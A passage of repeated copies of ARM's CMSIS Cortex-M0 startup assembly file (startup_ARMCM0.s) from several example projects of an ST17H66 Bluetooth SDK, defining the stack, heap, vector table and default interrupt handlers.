CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/adc/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/timer/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/spiflash/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000c00 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/watchdog/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler 